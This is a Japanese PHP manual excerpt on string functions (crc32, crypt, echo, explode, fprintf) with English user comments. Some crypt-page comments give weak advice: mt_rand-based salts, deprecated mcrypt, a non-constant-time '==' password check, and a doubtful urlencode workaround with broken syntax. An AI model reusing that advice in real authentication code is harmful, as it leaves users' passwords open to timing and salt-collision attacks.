    function __crc32_init_table() {            // Builds lookup table array
        // This is the official polynomial used by
        // CRC-32 in PKZip, WinZip and Ethernet.
        $polynomial = 0x04c11db7;

        // 256 values representing ASCII character codes.
        for($i=0;$i <= 0xFF;++$i) {
            $GLOBALS['__crc32_table'][$i]=(__crc32_reflect($i,8) << 24);
            for($j=0;$j < 8;++$j) {
                $GLOBALS['__crc32_table'][$i]=(($GLOBALS['__crc32_table'][$i] << 1) ^
                    (($GLOBALS['__crc32_table'][$i] & (1 << 31))?$polynomial:0));
            }
            $GLOBALS['__crc32_table'][$i] = __crc32_reflect($GLOBALS['__crc32_table'][$i], 32);
        }
    }

    function __crc32_reflect($ref, $ch) {        // Reflects CRC bits in the lookup table
        $value=0;

        // Swap bit 0 for bit 7, bit 1 for bit 6, etc.
        for($i=1;$i<($ch+1);++$i) {
            if($ref & 1) $value |= (1 << ($ch-$i));
            $ref = (($ref >> 1) & 0x7fffffff);
        }
        return $value;
    }

    function __crc32_string($text) {        // Creates a CRC from a text string
        // Once the lookup table has been filled in by the two functions above,
        // this function creates all CRCs using only the lookup table.

        // You need unsigned variables because negative values
        // introduce high bits where zero bits are required.
        // PHP doesn't have unsigned integers:
        // I've solved this problem by doing a '&' after a '>>'.

        // Start out with all bits set high.
        $crc=0xffffffff;
        $len=strlen($text);

        // Perform the algorithm on each character in the string,
        // using the lookup table values.
        for($i=0;$i < $len;++$i) {
            $crc=(($crc >> 8) & 0x00ffffff) ^ $GLOBALS['__crc32_table'][($crc & 0xFF) ^ ord($text{$i})];
        }

        // Exclusive OR the result with the beginning value.
        return $crc ^ 0xffffffff;
    }

    function __crc32_file($name) {            // Creates a CRC from a file
        // Info: look at __crc32_string

        // Start out with all bits set high.
        $crc=0xffffffff;

        if(($fp=fopen($name,'rb'))===false) return false;

        // Perform the algorithm on each character in file
        for(;;) {
            $i=@fread($fp,1);
            if(strlen($i)==0) break;
            $crc=(($crc >> 8) & 0x00ffffff) ^ $GLOBALS['__crc32_table'][($crc & 0xFF) ^ ord($i)];
        }

        @fclose($fp);

        // Exclusive OR the result with the beginning value.
        return $crc ^ 0xffffffff;
    }
?>
spectrumizer at cycos dot net 29-Dec-2002 03:30
Here is a tested and working CRC16-Algorithm:

<?php
function crc16($string) {
  $crc = 0xFFFF;
  for ($x = 0; $x < strlen ($string); $x++) {
    $crc = $crc ^ ord($string[$x]);
    for ($y = 0; $y < 8; $y++) {
      if (($crc & 0x0001) == 0x0001) {
        $crc = (($crc >> 1) ^ 0xA001);
      } else { $crc = $crc >> 1; }
    }
  }
  return $crc;
}
?>

Regards,
Mario


文字列の一方向のハッシュ化を行う

  • ≪ crc32
  • echo ≫
  • PHP Manual
  • String 関数
  • 文字列の一方向のハッシュ化を行う

crypt

(PHP 4, PHP 5, PHP 7, PHP 8)

crypt — 文字列の一方向のハッシュ化を行う

警告

この関数は (まだ)バイナリデータ対応ではありません!

説明

crypt ( string $string , string $salt ) : string

crypt() 文字列のハッシュを返します。 Unix 標準の DES ベースのアルゴリズムか、 代替のアルゴリズムを使用します。

salt パラメータは必須ではありませんが、これを省略すると crypt() が作るハッシュが弱いものになってしまいます。 このパラメータを省略した場合には、E_NOTICE が発生します。 十分に強いソルトを指定して、セキュリティを確保しましょう。

password_hash() は、強力なハッシュを使い、強力なソルトを生成して、それを複数回自動的に適用します。
password_hash() は crypt() のシンプルなラッパーであり、既存のパスワードハッシュと互換性があります。
password_hash() を使うことを推奨します。

ハッシュ方式は、salt 引数によって決まります。 salt を省略した場合は、標準の 2 文字 (DES) の salt を自動生成します。 あるいは、MD5 crypt() が使えれば 12 文字 (MD5) の salt を自動生成します。 PHP の定数 CRYPT_SALT_LENGTH には、 ハッシュで使用できる salt の最大長が格納されています。

標準の DES ベースの場合、crypt() は出力の最初の 2 文字を salt として使用します。また、 string の最初の 8 文字しか使用しません。 つまり、最初の 8 文字が同じである長い文字列は、 同じ salt を使う限り同じ結果となります。

以下のハッシュ形式がサポートされています:

  • CRYPT_STD_DES - 標準の DES ベースのハッシュで、 アルファベット "./0-9A-Za-z" からなる 2 文字の salt を使用するもの。 salt として無効な文字を使うと crypt() は失敗します。
  • CRYPT_EXT_DES - 拡張した DES ベースのハッシュ。"salt" は 9 文字で、 アンダースコアの後に 4 バイトの反復回数と 4 バイトの salt が続きます。 これらが表示可能な文字にエンコードされます。一文字あたり 6 ビットで、 下位の文字から順に並びます。 0 から 63 までの値は "./0-9A-Za-z" とエンコードされます。 salt に無効な文字を使うと crypt() は失敗します。
  • CRYPT_MD5 - $1$ ではじまる 12 文字の salt を使用する MD5 ハッシュ。
  • CRYPT_BLOWFISH - Blowfish ハッシュ。salt の形式は、 "$2a$" か "$2x$" あるいは "$2y$"、2 桁のコストパラメータ、"$"、そして文字 "./0-9A-Za-z" からなる 22 文字となります。 この範囲外の文字を salt に使うと、crypt() は長さゼロの文字列を返します。 2 桁のコストパラメータは反復回数の 2 を底とする対数で、 これは Blowfish ベースのハッシュアルゴリズムで使います。 この値は 04 から 31 までの範囲でなければならず、 それ以外の値の場合は crypt() は失敗します。 "$2x$" ハッシュは潜在的に弱いハッシュです。 "$2a$" ハッシュはこれと互換性があり、この弱点を軽減します。 新しくハッシュを生成する場合は、"$2y$" を使うべきです。 セキュリティ修正の対応の詳細については » この文書 を参照ください。
  • CRYPT_SHA256 - SHA-256 ハッシュに $5$ で始まる 16 文字の salt を組み合わせたもの。salt 文字列が 'rounds=<N>$' で始まる場合は、数値 N がハッシュループの実行回数を表します。 これは Blowfish のコストパラメータのようなものです。 rounds のデフォルトは 5000 で、1000 から 999,999,999 までの値を指定できます。 この範囲外の N を指定すると、近い方の境界値に切り詰められます。
  • CRYPT_SHA512 - SHA-512 ハッシュに $6$ で始まる 16 文字の salt を組み合わせたもの。salt 文字列が 'rounds=<N>$' で始まる場合は、数値 N がハッシュループの実行回数を表します。 これは Blowfish のコストパラメータのようなものです。 rounds のデフォルトは 5000 で、1000 から 999,999,999 までの値を指定できます。 この範囲外の N を指定すると、近い方の境界値に切り詰められます。

パラメータ

string

ハッシュしたい文字列。

警告

CRYPT_BLOWFISH を使うと、 string が最大 72 文字までに切り詰められます。

salt

ハッシュのもととなる salt 文字列。省略した場合の挙動は アルゴリズムの実装によって決まるので、予期せぬ結果となることがあり得ます。

返り値

ハッシュした文字列を返します。 失敗した場合は、salt とは異なることが保証されている 13 文字未満の文字列を返します。

警告

パスワードを検証するときの文字列比較関数は、 タイミング攻撃に対して脆弱ではないものでなければいけません。 これをもちいて、crypt() の出力と既知のハッシュとを比較します。 この比較を行うために、hash_equals() 関数が使えます。

変更履歴

バージョン | 説明
8.0.0 | salt は、オプションではなくなりました。

例

例1 crypt() の例

<?php
// saltを自動的に生成させます; お勧めできません
$hashed_password = crypt('mypassword');

/* 異なったハッシュアルゴリズムが使用された際の問題を避けるために
   crypt()の結果全体をパスワード比較用のsaltとして渡す必要があります。
   (上記のように標準DESに基づくパスワードハッシュは2文字のsaltを使用します
   が、MD5に基づくハッシュは12文字のsaltを使用します) */
if (hash_equals($hashed_password, crypt($user_input, $hashed_password))) {
   echo "Password verified!";
}
?>

例2 crypt() を htpasswd で使用する例

<?php
// パスワードを設定します
$password = 'mypassword';

// ハッシュを取得します。salt は自動生成させます; お勧めできません
$hash = crypt($password);
?>

例3 異なるハッシュ形式を用いた crypt() の例

<?php
/* これらの salt はあくまでも一例として示したものであり、実際のコードにそのまま使ってはいけません。
   別の、適切な形式の salt を生成して各パスワードに使いましょう。
*/
echo 'Standard DES: ',
    crypt('rasmuslerdorf', 'rl'),
    "\n";
echo 'Extended DES: ',
    crypt('rasmuslerdorf', '_J9..rasm'),
    "\n";
echo 'MD5:          ',
    crypt('rasmuslerdorf', '$1$rasmusle$'),
    "\n";
echo 'Blowfish:     ',
    crypt('rasmuslerdorf', '$2a$07$usesomesillystringforsalt$'),
    "\n";
echo 'SHA-256:      ',
    crypt('rasmuslerdorf', '$5$rounds=5000$usesomesillystringforsalt$'),
    "\n";
echo 'SHA-512:      ',
    crypt('rasmuslerdorf', '$6$rounds=5000$usesomesillystringforsalt$'),
    "\n";
?>

上の例の出力は、 たとえば以下のようになります。

Standard DES: rl.3StKT.4T8M
Extended DES: _J9..rasmBYk8r9AiWNc
MD5:          $1$rasmusle$rISCgZzpwk3UhDidwXvin0
Blowfish:     $2y$07$usesomesillystringfore2uDLvp1Ii2e./U9C8sBjqp8I90dH6hi
SHA-256:      $5$rounds=5000$usesomesillystri$KqJWpanXZHKq2BOB43TSaYhEWsQ1Lr5QNyPCDH/Tp.6
SHA-512:      $6$rounds=5000$usesomesillystri$D4IrlXatmP7rx3P3InaxBeoomnAihCKRVQP22JZ6EY47Wc6BkroIuUUBOov1i.S5KPgErtP/EN5mcO.ChWQW21

注意

注意: 復号するための関数はありません。 crypt() が使用しているのは単方向アルゴリズムだからです。

参考

  • hash_equals() - タイミング攻撃に対して安全な文字列比較
  • password_hash() - パスワードハッシュを作る
  • md5() - 文字列のmd5ハッシュ値を計算する
  • 暗号化関数についての Unix man ページ

User Contributed Notes

Joey 31-Oct-2017 12:30
While the documentation says that crypt will fail for DES if the salt is invalid, this turns out to not be the case.

The crypt function will accept any string of two characters or more for DES as long as it doesn't match the pattern for any other hashing schema. The remaining characters will be ignored.
Anonymous 28-Oct-2017 11:03
steve at tobtu dot com was right 4 years ago, but now mcrypt_create_iv()  (and bcrypt in general) is deprecated!

Use random_bytes() instead:

<?php
$salt = base64_encode(random_bytes(16));
bob dot orr at mailinator dot com 09-Feb-2015 02:10
The #2 comment on this comments page (as of Feb 2015) is 9 years old and recommends phpass.  I have independently security audited this product and, while it continues to be recommended for password security, it is actually insecure and should NOT be used.  It hasn't seen any updates in years (still at v0.3) and there are more recent alternatives such as using the newer built-in PHP password_hash() function that are much better.  Everyone, please take a few moments to confirm what I'm saying is accurate (i.e. review the phpass code for yourself) and then click the down arrow to sink the phpass comment to the bottom.  You'll be increasing security across the Internet by doing so.

For those who want details:  md5() with microtime() are a fallback position within the source code of phpass.  Instead of terminating, it continues to execute code.  The author's intentions of trying to work everywhere are admirable but, when it comes to application security, that stance actually backfires.  The only correct answer in a security context is to terminate the application rather than fallback to a weak position that can potentially be exploited (usually by forcing that weaker position to happen).
ian+php dot net at eiloart dot ocm 16-May-2014 12:46
If you're stuck with CRYPT_EXT_DES, then you'll want to pick a number of iterations: the 2nd-5th characters of the "salt".

My experimentation suggests that the 5th character is the most significant. A '.' is a zero and 'Z' is the highest value. Using all dots will create an error: all passwords will be encrypted to the same value.

Here are some encryption timings (in seconds) that I obtained, with five different iteration counts over the same salt, and the same password, on a quad core 2.66GHz Intel Xeon machine.

_1111 time: 0.15666794776917
_J9.Z time: 1.8860530853271
_J9.. time: 0.00015401840209961
_...Z time: 1.9095730781555
_ZZZZ time: 1.9124970436096
_...A time: 0.61211705207825

I think a half a second is reasonable for an application, but for the back end authentication? I'm not so sure: there's a significant risk of overloading the back end if we're getting lots of authentication requests.
Marten Jacobs 07-Jan-2014 09:57
As I understand it, blowfish is generally seen a secure hashing algorithm, even for enterprise use (correct me if I'm wrong). Because of this, I created functions to create and check secure password hashes using this algorithm, and using the (also deemed cryptographically secure) openssl_random_pseudo_bytes function to generate the salt.

<?php
/*
 * Generate a secure hash for a given password. The cost is passed
 * to the blowfish algorithm. Check the PHP manual page for crypt to
 * find more information about this setting.
 */
function generate_hash($password, $cost=11){
        /* To generate the salt, first generate enough random bytes. Because
         * base64 returns one character for each 6 bits, the we should generate
         * at least 22*6/8=16.5 bytes, so we generate 17. Then we get the first
         * 22 base64 characters
         */
        $salt=substr(base64_encode(openssl_random_pseudo_bytes(17)),0,22);
        /* As blowfish takes a salt with the alphabet ./A-Za-z0-9 we have to
         * replace any '+' in the base64 string with '.'. We don't have to do
         * anything about the '=', as this only occurs when the b64 string is
         * padded, which is always after the first 22 characters.
         */
        $salt=str_replace("+",".",$salt);
        /* Next, create a string that will be passed to crypt, containing all
         * of the settings, separated by dollar signs
         */
        $param='$'.implode('$',array(
                "2y", //select the most secure version of blowfish (>=PHP 5.3.7)
                str_pad($cost,2,"0",STR_PAD_LEFT), //add the cost in two digits
                $salt //add the salt
        ));

        //now do the actual hashing
        return crypt($password,$param);
}

/*
 * Check the password against a hash generated by the generate_hash
 * function.
 */
function validate_pw($password, $hash){
        /* Regenerating the with an available hash as the options parameter should
         * produce the same hash if the same password is passed.
         */
        return crypt($password, $hash)==$hash;
}
?>
jette at nerdgirl dot dk 25-Apr-2013 07:48
The crypt() function cant handle plus signs correctly. So if for example you are using crypt in a login function, use urlencode on the password first to make sure that the login procedure can handle any character:

<?php
$user_input =  '12+#a345';
$pass = urlencode($user_input));
$pass_crypt = crypt($pass);

if ($pass_crypt == crypt($pass, $pass_crypt)) {
  echo "Success! Valid password";
} else {
  echo "Invalid password";
}
?>
steve at tobtu dot com 13-Jan-2013 12:26
To generate salt use mcrypt_create_iv() not mt_rand() because no matter how many times you call mt_rand() it will only have at most 32 bits of entropy. Which you will start seeing salt collisions after about 2^16 users. mt_rand() is seeded poorly so it should happen sooner.

For bcrypt this will actually generate a 128 bit salt:
<?php $salt = strtr(base64_encode(mcrypt_create_iv(16, MCRYPT_DEV_URANDOM)), '+', '.'); ?>

*** Bike shed ***
The last character in the 22 character salt is 2 bits.
base64_encode() will have these four character "AQgw"
bcrypt will have these four character ".Oeu"

You don't need to do a full translate because they "round" to different characters:
echo crypt('', '$2y$05$.....................A') . "\n";
echo crypt('', '$2y$05$.....................Q') . "\n";
echo crypt('', '$2y$05$.....................g') . "\n";
echo crypt('', '$2y$05$.....................w') . "\n";

$2y$05$......................J2ihDv8vVf7QZ9BsaRrKyqs2tkn55Yq
$2y$05$.....................O/jw2XygQa2.LrIT7CFCBQowLowDP6Y.
$2y$05$.....................eDOx4wMcy7WU.kE21W6nJfdMimsBE3V6
$2y$05$.....................uMMcgjnOELIa6oydRivPkiMrBG8.aFp.
kaminski at istori dot com 05-Feb-2011 03:43
Here is an expression to generate pseudorandom salt for the CRYPT_BLOWFISH hash type:

<?php $salt = substr(str_replace('+', '.', base64_encode(pack('N4', mt_rand(), mt_rand(), mt_rand(), mt_rand()))), 0, 22); ?>

It is intended for use on systems where mt_getrandmax() == 2147483647.

The salt created will be 128 bits in length, padded to 132 bits and then expressed in 22 base64 characters.  (CRYPT_BLOWFISH only uses 128 bits for the salt, even though there are 132 bits in 22 base64 characters.  If you examine the CRYPT_BLOWFISH input and output, you can see that it ignores the last four bits on input, and sets them to zero on output.)

Note that the high-order bits of the four 32-bit dwords returned by mt_rand() will always be zero (since mt_getrandmax == 2^31), so only 124 of the 128 bits will be pseudorandom.  I found that acceptable for my application.


1 つ以上の文字列を出力する

  • ≪ crypt
  • explode ≫
  • PHP Manual
  • String 関数
  • 1 つ以上の文字列を出力する

echo

(PHP 4, PHP 5, PHP 7, PHP 8)

echo — 1 つ以上の文字列を出力する

説明

echo ( string ...$expressions ) : void

ひとつ以上の(文字列として評価される)式を出力します。末尾に改行やスペースを付加することはありません。

echo は実際には関数ではなく、言語構造です。 echo キーワードの後に続く引数は、 コンマで区切られた(文字列として評価される)式のリストであり、括弧で括る必要はありません。 他の言語構造と異なり echo には戻り値がありません。そのため、 式のコンテクストでは使うことができません。

echo には、開始タグの直後に等号を付ける短縮構文もあります。 この短縮構文は、設定オプションshort_open_tag が無効な場合しか使えません。

I have <?=$foo?> foo.

print との主な違いは、 echo がリスト形式の引数を受け付け、返り値を持たないことです。

パラメータ

expressions

出力したいひとつ以上の文字列として評価される式。 コンマで区切ります。 文字列として評価されない値を渡した場合、文字列に強制的に変換されます。 これは、strict_types ディレクティブ が有効になっていても同じです。

返り値

値を返しません。

例

例1 echo の例

<?php
echo "echo does not require parentheses.";

// 文字列は、複数の引数として個別に渡すこともできますし、
// 連結し、ひとつの引数として渡すこともできます。
echo 'This ', 'string ', 'was ', 'made ', 'with multiple parameters.', "\n";
echo 'This ' . 'string ' . 'was ' . 'made ' . 'with concatenation.' . "\n";

// 改行やスペースが付加されることはありません; 以下は、"helloworld" を一行で出力します。
echo "hello";
echo "world";

// 上と同じです。
echo "hello", "world";

echo "This string spans
multiple lines. The newlines will be
output as well";

echo "This string spans\nmultiple lines. The newlines will be\noutput as well.";

// 引数は文字列を生成するあらゆる式を指定することができます。
$foo = "example";
echo "foo is $foo"; // foo is example

$fruits = ["lemon", "orange", "banana"];
echo implode(" and ", $fruits); // lemon and orange and banana

// 文字列でない値は、文字列に強制されます。たとえ declare(strict_types=1) が使われていても同じです。
echo 6 * 7; // 42

// echo は式として振る舞わないので、以下のコードは正しくありません。
($some_var) ? echo 'true' : echo 'false';

// しかし、以下の例は動作します:
($some_var) ? print 'true' : print 'false'; // print も言語構造ですが、
                                            // これは正しい式であり、1を返します。
                                            // よって、式のコンテクストで使うことが出来ます。

echo $some_var ? 'true': 'false'; // 式を最初に評価し、echo  に渡します。
?>

注意

注意: これは、関数ではなく 言語構造のため、可変関数 を用いて コールすることはできません。

注意: 括弧を使う

echo に対して引数をひとつだけ括弧で囲んで渡しても文法エラーにはなりませんが、 通常の関数コールのような文法に見えてしまいます。 しかし、これは誤解を招く恐れがあります。 なぜなら、括弧は実際には出力を構成する式の一部であり、 echo の文法の一部ではないからです。

<?php
echo "hello";
// "hello" を出力します。

echo("hello");
// 同じく"hello" を出力します。なぜなら ("hello") は正しい式だからです。

echo(1 + 2) * 3;
// "9" を出力します; 括弧によって 1+2 が先に評価され、3*3がその次に評価されます。
// echo 文は、式の評価結果全体をひとつの引数とみなします。

echo "hello", " world";
// "hello world" を出力します。

echo("hello"), (" world");
// "hello world" を出力します; 括弧は個々の式の一部です。

echo("hello", " world");
// Parse Error をスローします。なぜなら、 ("hello", " world") は正しい式ではないからです。
?>

ヒント

複数の引数をecho に渡すことで、 PHP におけるピリオド演算子の優先順位が高いことによる複雑な挙動を避けることができます。 たとえば、ピリオド演算子は三項演算子より演算子が高くなっています。さらにPHP 8.0.0 より前のバージョンでは、加算および減算演算子と優先順位が同じでした:

<?php
// 以下の例では、'Hello ' . isset($name) という式が先に評価されます。
// そして、常にこれは true と評価されるので、echo への引数は常に $name になります。
echo 'Hello ' . isset($name) ? $name : 'John Doe' . '!';

// 上の例を意図した振る舞いにしようとするなら、以下のように追加の括弧が必要です。
echo 'Hello ' . (isset($name) ? $name : 'John Doe') . '!';

// PHP 8.0.0 より前のバージョンでは、以下は "Sum: 3" ではなく、"2" を出力していました。
echo 'Sum: ' . 1 + 2;

// 繰り返しますが、括弧を追加することで、意図通りの評価順序を保証できます。
echo 'Sum: ' . (1 + 2);

複数の引数を渡した場合、 優先順位を強制するための括弧は不要です。 なぜなら、それぞれの文字列表現は別のものだからです:

<?php
echo "Hello ", isset($name) ? $name : "John Doe", "!";

echo "Sum: ", 1 + 2;

参考

  • print - 文字列を出力する
  • printf() - フォーマット済みの文字列を出力する
  • flush() - システム出力バッファをフラッシュする
  • 文字列リテラルを指定する方法

User Contributed Notes

mparsa1372 at gmail dot com 12-Mar-2021 03:14
The following example shows how to output text with the echo command (notice that the text can contain HTML markup):

<?php
echo "<h2>PHP is Fun!</h2>";
echo "Hello world!<br>";
echo "I'm about to learn PHP!<br>";
echo "This ", "string ", "was ", "made ", "with multiple parameters.";
?>
pemapmodder1970 at gmail dot com 28-Mar-2017 02:51
Passing multiple parameters to echo using commas (',')is not exactly identical to using the concatenation operator ('.'). There are two notable differences.

First, concatenation operators have much higher precedence. Referring to http://php.net/operators.precedence, there are many operators with lower precedence than concatenation, so it is a good idea to use the multi-argument form instead of passing concatenated strings.

<?php
echo "The sum is " . 1 | 2; // output: "2". Parentheses needed.
echo "The sum is ", 1 | 2; // output: "The sum is 3". Fine.
?>

Second, a slightly confusing phenomenon is that unlike passing arguments to functions, the values are evaluated one by one.

<?php
function f($arg){
  var_dump($arg);
  return $arg;
}
echo "Foo" . f("bar") . "Foo";
echo "\n\n";
echo "Foo", f("bar"), "Foo";
?>

The output would be:
string(3) "bar"FoobarFoo

Foostring(3) "bar"
barFoo

It would become a confusing bug for a script that uses blocking functions like sleep() as parameters:

<?php
while(true){
  echo "Loop start!\n", sleep(1);
}
?>

vs

<?php
while(true){
  echo "Loop started!\n" . sleep(1);
}
?>

With ',' the cursor stops at the beginning every newline, while with '.' the cursor stops after the 0 in the beginning every line (because sleep() returns 0).


文字列を文字列により分割する

  • ≪ echo
  • fprintf ≫
  • PHP Manual
  • String 関数
  • 文字列を文字列により分割する

explode

(PHP 4, PHP 5, PHP 7, PHP 8)

explode — 文字列を文字列により分割する

説明

explode ( string $separator , string $string , int $limit = PHP_INT_MAX ) : array

文字列の配列を返します。この配列の各要素は、 string を文字列 separator で区切った部分文字列となります。

パラメータ

separator

区切り文字列。

string

入力文字列。

limit

limit に正の値が指定された場合、返される配列には 最大 limit の要素が含まれ、その最後の要素には string の残りの部分が全て含まれます。

もし limit パラメータが負の場合、 最後の -limit 個の要素を除く全ての構成要素が返されます。

limit パラメータがゼロの場合は、1 を指定したものとみなされます。

注意:

PHP 8.0 より前のバージョンでは、implode() はいずれのパラメータ順も受け入れることができていましたが、 explode() はそのようなことはサポートしていません。 つまり、string 引数の前に必ず separator 引数がくることを確認しなければいけません。

返り値

string の内容を separator で分割した文字列の配列を返します。

空の文字列 ("") が separator として使用された場合、 explode() は false を返します。separator に引数 string に含まれていない値が含まれている場合は、 limit が負の値なら空の配列、そうでなければ 引数 string を含む配列を返します。

例

例1 explode() の例

<?php
// 例 1
$pizza  = "piece1 piece2 piece3 piece4 piece5 piece6";
$pieces = explode(" ", $pizza);
echo $pieces[0]; // piece1
echo $pieces[1]; // piece2

// 例 2
$data = "foo:*:1023:1000::/home/foo:/bin/sh";
list($user, $pass, $uid, $gid, $gecos, $home, $shell) = explode(":", $data);
echo $user; // foo
echo $pass; // *

?>

例2 explode() の返り値の例

<?php
/*
   デリミタを含まない文字列の場合は、
   単に元の文字列だけを含む一要素の配列を返します
*/
$input1 = "hello";
$input2 = "hello,there";
$input3 = ',';
var_dump( explode( ',', $input1 ) );
var_dump( explode( ',', $input2 ) );
var_dump( explode( ',', $input3 ) );

?>

上の例の出力は以下となります。

array(1)
(
    [0] => string(5) "hello"
)
array(2)
(
    [0] => string(5) "hello"
    [1] => string(5) "there"
)
array(2)
(
    [0] => string(0) ""
    [1] => string(0) ""
)

例3 limit パラメータの例

<?php
$str = 'one|two|three|four';

// 正の値を持つ limit
print_r(explode('|', $str, 2));

// 負の値を持つ limit (PHP 5.1 以降)
print_r(explode('|', $str, -1));
?>

上の例の出力は以下となります。

Array
(
    [0] => one
    [1] => two|three|four
)
Array
(
    [0] => one
    [1] => two
    [2] => three
)

注意

注意: この関数はバイナリデータに対応しています。

参考

  • preg_split() - 正規表現で文字列を分割する
  • str_split() - 文字列を配列に変換する
  • mb_split() - マルチバイト文字列を正規表現により分割する
  • str_word_count() - 文字列に使用されている単語についての情報を返す
  • strtok() - 文字列をトークンに分割する
  • implode() - 配列要素を文字列により連結する

User Contributed Notes

David Spector 12-Mar-2021 03:16
When using 'explode' to create an array of strings from a user-specified string that contains newline characters, you may wish the resulting array to correctly reflect the user's intentions by ignoring any final empty line (many users like to end multi-line input with a final newline, for clarity).

Here is a function to call after 'explode' to support this effect:

// When using explode, delete the last line in the array of lines when it is empty
function IgnoreEmptyLastLine(&$linesArr)
    {
    $last=count($linesArr)-1;
    if ($last>=0 && !$linesArr[$last])
        unset($linesArr[$last]);
    } // IgnoreEmptyLastLine
henrik Schmidt 01-Mar-2021 08:33
"Return value" text needs updating for php 8, an empty delimiter now throws an Exception.
bocoroth 10-Feb-2021 09:42
Be careful, while most non-alphanumeric data types as input strings return an array with an empty string when used with a valid separator, true returns an array with the string "1"!

var_dump(explode(',', null)); //array(1) { [0]=> string(0) "" }
var_dump(explode(',', false)); //array(1) { [0]=> string(0) "" }

var_dump(explode(',', true)); //array(1) { [0]=> string(1) "1" }
leandro at primersistemas dot com dot br 06-Dec-2020 01:51
function aexplode($delimiters,$string,$trimduplicate = false) {
    if (!is_array($delimiters))
        return explode($delimiters,$string);
    $stringaux = str_replace($delimiters, $delimiters[0], $string);
    if ($trimduplicate)
        while (strpos($stringaux,$delimiters[0].$delimiters[0]) !== false)
            $stringaux = str_replace($delimiters[0].$delimiters[0],$delimiters[0],$stringaux);
    return explode($delimiters[0],$stringaux);
}

This functions will work and accept array.


フォーマットされた文字列をストリームに書き込む

  • ≪ explode
  • get_html_translation_table ≫
  • PHP Manual
  • String 関数
  • フォーマットされた文字列をストリームに書き込む

fprintf

(PHP 5, PHP 7, PHP 8)

fprintf — フォーマットされた文字列をストリームに書き込む

説明

fprintf ( resource $stream , string $format , mixed ...$values ) : int

format によって作成された文字列を stream で指定したストリームに書き込みます。

パラメータ

stream

fopen() を使用して作成したファイルシステムポインタリソース。

format

0個以上のディレクティブで構成されるフォーマット文字列: 変換結果に直接コピーされる通常文字列 (% は除きます) と、変換仕様。 これらのいずれも、自分が持つパラメータを取得します。

変換の仕様は、以下のプロトタイプに従います: %[argnum$][flags][width][.precision]specifier.

Argnum

何番目の引数を変換の対象にするかを指定するために、 数値の後にドル記号 $ を続けます。

フラグ一覧
フラグ | 説明
- 与えられたフィールドの幅を左寄せにします。 右寄せがデフォルトです。
+ 正の数値の前に付ける + 符号です; デフォルトは、負の数にだけマイナスの符号が数値の前に付きます。
(space) | スペースに変換される詰め物です。 これがデフォルトです。
0 | 数値の左側を0埋めします。 s 指定子を使うと、 右側にも0埋めできます。
'(char) | 指定された (char) で埋めます。

Width

(最小で)何文字がこの変換結果に含まれるかを数値で指定します。

Precision

ピリオド . の後に数値を続けますが、 その意味は指定子に依存します:

  • e, E, f と F 指定子の場合: 小数点の後に表示する桁数 (デフォルトでは、この値は6です)
  • g と G 指定子の場合: 表示する最大の有効桁数
  • s 指定子の場合: 文字列を切り捨てる時点、つまり、文字列の最大の長さを設定します。

注意: 明示的に精度を指定せず、ピリオドを指定した場合、精度は0として扱われます。

注意: 位置を示す指定子に、PHP_INT_MAX を超える値を指定すると、警告が発生します。

指定子の一覧
指定子 | 説明
% 文字通り、パーセント文字です。 引数は不要です。
b | 引数は数値として扱われ、バイナリ値として表現されます。
c | 引数は数値として扱われ、ASCII文字として表現されます。
d | 引数は数値として扱われ、(符号付き)小数値として表現されます。
e | 引数は科学的記法で表現された値(e.g. 1.2e+2)として扱われます。 PHP 5.2.1 以降では、precision 指定子が小数点以降の桁数を表します。 それより前のバージョンでは、(ひと桁少ない) 有効桁数として解釈されていました。
E | e 指定子に似ていますが、 大文字を使います(e.g. 1.2E+2)
f | 引数は小数として扱われ、浮動小数値として表現されます(ロケールを考慮します)。
F | 引数は小数として扱われ、浮動小数値として表現されます(ロケールを考慮しません)。 PHP 5.0.3 以降で利用可能です
g

汎用フォーマット

P を精度を表す、ゼロでない値とします。 精度が省略された場合、Pの値は6です。 精度に0を指定した場合、Pの値は1になります。 この場合、 E 指定子の変換結果は、 X乗になります。

P > X ? ?4 の場合、E 指定子の変換結果となり、精度は、P ? (X + 1) になります。 そうでない場合、e 指定子の変換結果となり、 精度は、P - 1 になります。

G | g 指定子に似ていますが、 E と f を使います。
h | g 指定子に似ていますが、 F を使います。 PHP 8.0.0 以降で利用可能です。
H | g 指定子に似ていますが、 E と F を使います。 PHP 8.0.0 以降で利用可能です。
o | 引数は数値として扱われ、8進数値として表現されます。
s | 引数は文字列として扱われ、文字列として表現されます。
u | 引数は数値として扱われ、符号なし小数値として表現されます。
x | 引数は数値として扱われ、16進数値(小文字)として表現されます。
X | 引数は数値として扱われ、16進数値(大文字)として表現されます。

警告

c 指定子はパディングと幅を無視します

警告

文字列と width 指定子を、1文字の表現に1バイト以上必要な文字セットと一緒に使おうとすると、 期待しない結果になるかもしれません。

値は、指定子の型に合うように強制されます:

型のハンドリング
型 | 指定子
string | s
integer | d, u, c, o, x, X, b
double | g, G, e, E, f, F

values

返り値

書き込まれた文字列の長さを返します。

例

例1 fprintf(): 数値のゼロ埋め

<?php
if (!($fp = fopen('currency.txt', 'w'))) {
    return;
}

fprintf($fp, "%04d-%02d-%02d", $year, $month, $day);
// ISO 形式にフォーマットした日付を date.txt に書き込みます
?>

例2 fprintf(): 金額のフォーマット

<?php
if (!($fp = fopen('date.txt', 'w'))) {
    return;
}

$money1 = 68.75;
$money2 = 54.35;
$money = $money1 + $money2;
// echo $money は "123.1" を出力します
$len = fprintf($fp, '%01.2f', $money);
// "123.10" を currency.txt に書き込みます

echo "$len バイトを currency.txt に書き込みました";
// fprintf の返り値を使用して、書き込まれたバイト数を取得します
?>

参考

  • printf() - フォーマット済みの文字列を出力する
  • sprintf() - フォーマットされた文字列を返す
  • vprintf() - フォーマットされた文字列を出力する
  • vsprintf() - フォーマットされた文字列を返す
  • vfprintf() - フォーマットされた文字列をストリームに書き込む
  • sscanf() - フォーマット文字列に基づき入力を処理する
  • fscanf() - フォーマットに基づきファイルからの入力を処理する
  • number_format() - 数字を千の位毎にグループ化してフォーマットする
  • date() - ローカルの日付/時刻を書式化する

User Contributed Notes

There are no user contributed notes for this page.


htmlspecialchars および htmlentities で使用される変換テーブルを返す

  • ≪ fprintf
  • hebrev ≫
  • PHP Manual
  • String 関数
  • htmlspecialchars および htmlentities で使用される変換テーブルを返す

get_html_translation_table

(PHP 4, PHP 5, PHP 7, PHP 8)

get_html_translation_table — htmlspecialchars() および htmlentities() で使用される変換テーブルを返す

説明

get_html_translation_table ( int $table = HTML_SPECIALCHARS , int $flags = ENT_COMPAT , string $encoding = "UTF-8" ) : array

get_html_translation_table() は、
htmlspecialchars() および
htmlentities()
において内部的に使用される変換テーブルを返します。

注意:

